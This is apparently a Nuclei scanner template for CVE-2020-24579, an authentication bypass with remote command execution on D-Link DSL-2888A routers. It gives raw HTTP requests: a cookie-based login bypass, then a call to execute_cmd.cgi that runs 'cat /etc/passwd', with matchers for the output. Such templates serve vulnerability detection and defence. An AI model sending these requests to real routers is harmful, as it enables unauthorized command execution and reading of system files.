D-Link DSL 2888a - Authentication Bypass/Remote Command Execution

id: CVE-2020-24579

info:
  name: D-Link DSL 2888a - Authentication Bypass/Remote Command Execution
  author: pikpikcu
  severity: high
  description: D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary commands on the affected router.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the vulnerability.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
    - https://www.trustwave.com/en-us/resources/security-resources/security-advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24579
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-24579
    cwe-id: CWE-287
    epss-score: 0.05447
    epss-percentile: 0.93154
    cpe: cpe:2.3:o:dlink:dsl2888a_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dlink
    product: dsl2888a_firmware
  tags: cve,cve2020,dlink,rce

http:
  - raw:
      - | # Response:Location: /page/login/login_fail.html
        POST / HTTP/1.1
        Host: {{Hostname}}
        Cookie: uid=6gPjT2ipmNz

        username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
      - | # Get /etc/passwd
        GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Cookie: uid=6gPjT2ipmNz

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "nobody:[x*]:65534:65534"
          - "root:.*:0:0:"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d0dad0d3f149ea75ab9ebf58b63e74ae1eea82f25ab618bf8ac84db06cb010da0221008f5aecf038a76df56a89d047b1fc34d347b314b4608b213a037a8149cc68d981:922c64590222798bb761d5b6d8e72950